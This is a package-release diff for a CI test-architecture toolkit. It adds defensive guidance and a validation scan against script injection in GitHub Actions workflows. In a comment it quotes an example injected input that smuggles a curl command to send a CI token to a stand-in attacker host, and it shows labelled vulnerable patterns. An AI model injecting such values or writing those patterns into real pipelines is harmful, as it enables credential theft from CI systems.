bmad-method-test-architecture-enterprise 1.4.1 → 1.5.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "$schema": "https://json.schemastore.org/package.json",
3
3
  "name": "bmad-method-test-architecture-enterprise",
4
- "version": "1.4.1",
4
+ "version": "1.5.0",
5
5
  "description": "Master Test Architect for quality strategy, test automation, and release gates",
6
6
  "keywords": [
7
7
  "bmad",
package/release_notes.md CHANGED
@@ -1,9 +1,11 @@
1
- ## 🚀 What's New in v1.4.1
1
+ ## 🚀 What's New in v1.5.0
2
+
3
+ ### ✨ New Features
4
+ - feat: harden generated ci related yml
2
5
 
3
6
  ### 📦 Other Changes
4
- - docs: clarified how sub agents and agent teams work
5
- - addressed pr comments
6
- - Merge pull request #48 from bmad-code-org/docs/workers-subagents-agent-teams
7
+ - addressed PR comments
8
+ - Merge pull request #49 from bmad-code-org/feat/harden-generated-ci-related-yml
7
9
 
8
10
 
9
11
  ## 📦 Installation
@@ -13,4 +15,4 @@ npx bmad-method install
13
15
  # Select "Test Architect" from module menu
14
16
  ```
15
17
 
16
- **Full Changelog**: https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise/compare/v1.4.0...v1.4.1
18
+ **Full Changelog**: https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise/compare/v1.4.1...v1.5.0
@@ -8,6 +8,48 @@ CI pipelines must execute tests reliably, quickly, and provide clear feedback. B
8
8
 
9
9
  CI is the quality gate for production. A poorly configured pipeline either wastes developer time (slow feedback, false positives) or ships broken code (false negatives, insufficient coverage). Burn-in testing ensures reliability by stress-testing changed code, while parallel execution and intelligent test selection optimize speed without sacrificing thoroughness.
10
10
 
11
+ ## Security: Script Injection Prevention
12
+
13
+ **Rule:** NEVER use `${{ inputs.* }}` or user-controlled GitHub context directly in `run:` blocks. Always pass through `env:` and reference as `"$ENV_VAR"` (double-quoted).
14
+
15
+ When CI templates are extended into reusable workflows (`on: workflow_call`), manual dispatch workflows (`on: workflow_dispatch`), or composite actions, `${{ inputs.* }}` values become user-controllable. Interpolating them directly in `run:` blocks enables shell command injection.
16
+
17
+ ### Vulnerable vs Safe Pattern
18
+
19
+ ```yaml
20
+ # ❌ VULNERABLE — inputs.test_ids could contain: "; curl attacker.com/steal?t=$(cat $GITHUB_TOKEN)"
21
+ - name: Run tests
22
+ run: |
23
+ npx playwright test --grep "${{ inputs.test_ids }}"
24
+
25
+ # ✅ SAFE — env var cannot break out of shell quoting
26
+ - name: Run tests
27
+ env:
28
+ TEST_IDS: ${{ inputs.test_ids }}
29
+ run: |
30
+ npx playwright test --grep "$TEST_IDS"
31
+ ```
32
+
33
+ ### Unsafe Contexts (require env: intermediary)
34
+
35
+ - `${{ inputs.* }}` — workflow_call and workflow_dispatch inputs
36
+ - `${{ github.event.* }}` — treat the entire event namespace as unsafe (PR titles, issue bodies, comment bodies, label names, etc.)
37
+ - `${{ github.head_ref }}` — PR source branch name (user-controlled)
38
+
39
+ **Important:** Passing through `env:` prevents GitHub expression injection, but inputs must still be treated as DATA, not COMMANDS. Never execute an input-derived env var as a shell command (e.g., `run: $CMD` where CMD came from an input). Use fixed commands and pass inputs only as quoted arguments.
40
+
41
+ ### Safe Contexts (safe from GitHub expression injection in run: blocks)
42
+
43
+ - `${{ steps.*.outputs.* }}` — pre-computed by your own code
44
+ - `${{ matrix.* }}` — defined in workflow YAML
45
+ - `${{ runner.os }}`, `${{ github.sha }}`, `${{ github.ref }}` — system-controlled
46
+ - `${{ secrets.* }}` — secret store, not user-injectable
47
+ - `${{ env.* }}` — already an env var
48
+
49
+ > **Note:** "Safe from expression injection" means these values cannot be manipulated by external actors to break out of `${{ }}` interpolation. Standard shell quoting practices still apply — always double-quote variable references in `run:` blocks.
50
+
51
+ ---
52
+
11
53
  ## Pattern Examples
12
54
 
13
55
  ### Example 1: GitHub Actions Workflow with Parallel Execution
@@ -161,6 +161,7 @@ Note: CI setup is typically a one-time task per repo and can be run any time aft
161
161
  - [ ] Environment variables for sensitive data
162
162
  - [ ] Artifact retention appropriate (not too long)
163
163
  - [ ] No debug output exposing secrets
164
+ - [ ] **MUST**: No `${{ inputs.* }}` or user-controlled GitHub context (`github.event.pull_request.title`, `github.event.issue.body`, `github.event.comment.body`, `github.head_ref`) directly in `run:` blocks — all passed through `env:` intermediaries and referenced as `"$ENV_VAR"`
164
165
 
165
166
  ## Integration Points
166
167
 
@@ -208,3 +208,121 @@ jobs:
208
208
  if [ "${{ needs.burn-in.result }}" == "failure" ]; then
209
209
  echo "⚠️ **Flaky tests detected** - Review burn-in artifacts" >> $GITHUB_STEP_SUMMARY
210
210
  fi
211
+
212
+ # ============================================================================
213
+ # EXTENSION PATTERNS — Script Injection Prevention
214
+ # ============================================================================
215
+ # When extending this template into reusable workflows, manual dispatch
216
+ # workflows, or composite actions, NEVER use ${{ inputs.* }} directly in
217
+ # run: blocks. Always pass through env: intermediaries.
218
+ #
219
+ # KEY PRINCIPLE: Inputs must be DATA, not COMMANDS.
220
+ # Pass inputs through env: and interpolate as quoted arguments into fixed
221
+ # commands. NEVER accept command-shaped inputs (e.g., install-command,
222
+ # test-command) that get executed as shell code — even through env:.
223
+ #
224
+ # --- Reusable Workflow (workflow_call) ---
225
+ #
226
+ # on:
227
+ # workflow_call:
228
+ # inputs:
229
+ # test-grep:
230
+ # description: 'Test grep filter (data only — not a command)'
231
+ # type: string
232
+ # required: false
233
+ # default: ''
234
+ # base-ref:
235
+ # description: 'Base branch for diff'
236
+ # type: string
237
+ # required: false
238
+ # default: 'main'
239
+ # burn-in-count:
240
+ # description: 'Number of burn-in iterations'
241
+ # type: string
242
+ # required: false
243
+ # default: '10'
244
+ #
245
+ # jobs:
246
+ # test:
247
+ # runs-on: ubuntu-latest
248
+ # steps:
249
+ # - uses: actions/checkout@v4
250
+ # # Fixed command — not derived from inputs
251
+ # - name: Install dependencies
252
+ # run: npm ci
253
+ # # ✅ SAFE — input is DATA passed as an argument to a fixed command
254
+ # - name: Run tests
255
+ # env:
256
+ # TEST_GREP: ${{ inputs.test-grep }}
257
+ # run: |
258
+ # # Security: inputs passed through env: to prevent script injection
259
+ # if [ -n "$TEST_GREP" ]; then
260
+ # npx playwright test --grep "$TEST_GREP"
261
+ # else
262
+ # npx playwright test
263
+ # fi
264
+ #
265
+ # --- Manual Dispatch (workflow_dispatch) ---
266
+ #
267
+ # on:
268
+ # workflow_dispatch:
269
+ # inputs:
270
+ # test-grep:
271
+ # description: 'Test grep filter (data only — not a command)'
272
+ # type: string
273
+ # required: false
274
+ # environment:
275
+ # description: 'Target environment'
276
+ # type: choice
277
+ # options: [staging, production]
278
+ #
279
+ # jobs:
280
+ # run-tests:
281
+ # runs-on: ubuntu-latest
282
+ # steps:
283
+ # - uses: actions/checkout@v4
284
+ # # ✅ SAFE — input is DATA interpolated into a fixed command
285
+ # - name: Run selected tests
286
+ # env:
287
+ # TEST_GREP: ${{ inputs.test-grep }}
288
+ # run: |
289
+ # # Security: inputs passed through env: to prevent script injection
290
+ # npx playwright test --grep "$TEST_GREP"
291
+ #
292
+ # --- Composite Action (action.yml) ---
293
+ #
294
+ # inputs:
295
+ # test-grep:
296
+ # description: 'Test grep filter (data only — not a command)'
297
+ # required: false
298
+ # default: ''
299
+ # burn-in-count:
300
+ # description: 'Number of burn-in iterations'
301
+ # required: false
302
+ # default: '10'
303
+ #
304
+ # runs:
305
+ # using: composite
306
+ # steps:
307
+ # # ✅ SAFE — inputs are DATA arguments to fixed commands
308
+ # - name: Run burn-in
309
+ # shell: bash
310
+ # env:
311
+ # TEST_GREP: ${{ inputs.test-grep }}
312
+ # BURN_IN_COUNT: ${{ inputs.burn-in-count }}
313
+ # run: |
314
+ # # Security: inputs passed through env: to prevent script injection
315
+ # for i in $(seq 1 "$BURN_IN_COUNT"); do
316
+ # echo "Burn-in iteration $i/$BURN_IN_COUNT"
317
+ # npx playwright test --grep "$TEST_GREP" || exit 1
318
+ # done
319
+ #
320
+ # ❌ NEVER DO THIS:
321
+ # # Direct ${{ inputs.* }} in run: — GitHub expression injection
322
+ # - run: npx playwright test --grep "${{ inputs.test-grep }}"
323
+ #
324
+ # # Executing input-derived env var as a command — still command injection
325
+ # - env:
326
+ # CMD: ${{ inputs.test-command }}
327
+ # run: $CMD
328
+ # ============================================================================
@@ -119,6 +119,44 @@ Use templates from `{installed_path}` when available. Adapt the template to the
119
119
 
120
120
  ---
121
121
 
122
+ ## Security: Script Injection Prevention
123
+
124
+ > **CRITICAL:** Treat `${{ inputs.* }}` and the entire `${{ github.event.* }}` namespace as unsafe by default. ALWAYS route them through `env:` intermediaries and reference as double-quoted `"$ENV_VAR"` in `run:` blocks. NEVER interpolate them directly.
125
+
126
+ When the generated pipeline is extended into reusable workflows (`on: workflow_call`), manual dispatch (`on: workflow_dispatch`), or composite actions, these values become user-controllable and can inject arbitrary shell commands.
127
+
128
+ **Two rules for generated `run:` blocks:**
129
+
130
+ 1. **No direct interpolation** — pass unsafe contexts through `env:`, reference as `"$ENV_VAR"`
131
+ 2. **Inputs must be DATA, not COMMANDS** — never accept command-shaped inputs (e.g., `inputs.install-command`) that get executed as shell code. Even through `env:`, running `$CMD` where CMD comes from an input is still command injection. Use fixed commands and pass inputs only as arguments.
132
+
133
+ ```yaml
134
+ # ✅ SAFE — input is DATA interpolated into a fixed command
135
+ - name: Run tests
136
+ env:
137
+ TEST_GREP: ${{ inputs.test-grep }}
138
+ run: |
139
+ # Security: inputs passed through env: to prevent script injection
140
+ npx playwright test --grep "$TEST_GREP"
141
+
142
+ # ❌ NEVER — direct GitHub expression injection
143
+ - name: Run tests
144
+ run: |
145
+ npx playwright test --grep "${{ inputs.test-grep }}"
146
+
147
+ # ❌ NEVER — executing input-derived env var as a command
148
+ - name: Install
149
+ env:
150
+ CMD: ${{ inputs.install-command }}
151
+ run: $CMD
152
+ ```
153
+
154
+ Include a `# Security: inputs passed through env: to prevent script injection` comment in generated YAML wherever this pattern is applied.
155
+
156
+ **Safe contexts** (do NOT need `env:` intermediaries): `${{ steps.*.outputs.* }}`, `${{ matrix.* }}`, `${{ runner.os }}`, `${{ github.sha }}`, `${{ github.ref }}`, `${{ secrets.* }}`, `${{ env.* }}`.
157
+
158
+ ---
159
+
122
160
  ## 2. Pipeline Stages
123
161
 
124
162
  Include stages:
@@ -48,6 +48,29 @@ Use `{knowledgeIndex}` to load `ci-burn-in.md` guidance:
48
48
  - **Frontend or Fullstack** (`test_stack_type` is `frontend` or `fullstack`): Enable burn-in by default. Burn-in targets UI flakiness (race conditions, selector instability, timing issues).
49
49
  - **Backend only** (`test_stack_type` is `backend`): Skip burn-in by default. Backend tests (unit, integration, API) are deterministic and rarely exhibit UI-related flakiness. If the user explicitly requests burn-in for backend, honor that override.
50
50
 
51
+ **Security: Script injection prevention for reusable burn-in workflows:**
52
+
53
+ When burn-in is extracted into a reusable workflow (`on: workflow_call`), all `${{ inputs.* }}` values MUST be passed through `env:` intermediaries and referenced as quoted `"$ENV_VAR"`. Never interpolate them directly.
54
+
55
+ **Inputs must be DATA, not COMMANDS.** Do not accept command-shaped inputs (e.g., `inputs.install-command`, `inputs.test-command`) that get executed as shell code — even through `env:`, running `$CMD` is still command injection. Use fixed commands (e.g., `npm ci`, `npx playwright test`) and pass inputs only as data arguments.
56
+
57
+ ```yaml
58
+ # ✅ SAFE — fixed commands with data-only inputs
59
+ - name: Install dependencies
60
+ run: npm ci
61
+ - name: Run burn-in loop
62
+ env:
63
+ TEST_GREP: ${{ inputs.test-grep }}
64
+ BURN_IN_COUNT: ${{ inputs.burn-in-count }}
65
+ BASE_REF: ${{ inputs.base-ref }}
66
+ run: |
67
+ # Security: inputs passed through env: to prevent script injection
68
+ for i in $(seq 1 "$BURN_IN_COUNT"); do
69
+ echo "Burn-in iteration $i/$BURN_IN_COUNT"
70
+ npx playwright test --grep "$TEST_GREP" || exit 1
71
+ done
72
+ ```
73
+
51
74
  ---
52
75
 
53
76
  ## 2. Quality Gates
@@ -50,6 +50,20 @@ Read `{validationChecklist}` and list all criteria.
50
50
 
51
51
  Evaluate outputs against each checklist item.
52
52
 
53
+ ### 2a. Script Injection Scan
54
+
55
+ Scan all generated YAML workflow files for unsafe interpolation patterns inside `run:` blocks.
56
+
57
+ **Unsafe patterns to flag (FAIL):**
58
+
59
+ - `${{ inputs.* }}` — all workflow inputs are user-controllable
60
+ - `${{ github.event.* }}` — treat the entire event namespace as unsafe by default (includes PR titles, issue bodies, comment bodies, label names, etc.)
61
+ - `${{ github.head_ref }}` — PR source branch name (user-controlled)
62
+
63
+ **Detection method:** For each `run:` block in generated YAML, check if any of the above expressions appears in the run script body. If found, flag as **FAIL** with the exact line and recommend converting to the safe `env:` intermediary pattern (pass through `env:`, reference as double-quoted `"$ENV_VAR"`).
64
+
65
+ **Safe patterns to ignore** (exempt from flagging): `${{ steps.*.outputs.* }}`, `${{ matrix.* }}`, `${{ runner.os }}`, `${{ github.sha }}`, `${{ github.ref }}`, `${{ secrets.* }}`, `${{ env.* }}` — these are safe from GitHub expression injection when used in `run:` blocks.
66
+
53
67
  ### 3. Write Report
54
68
 
55
69
  Write a validation report to `{outputFile}` with PASS/WARN/FAIL per section.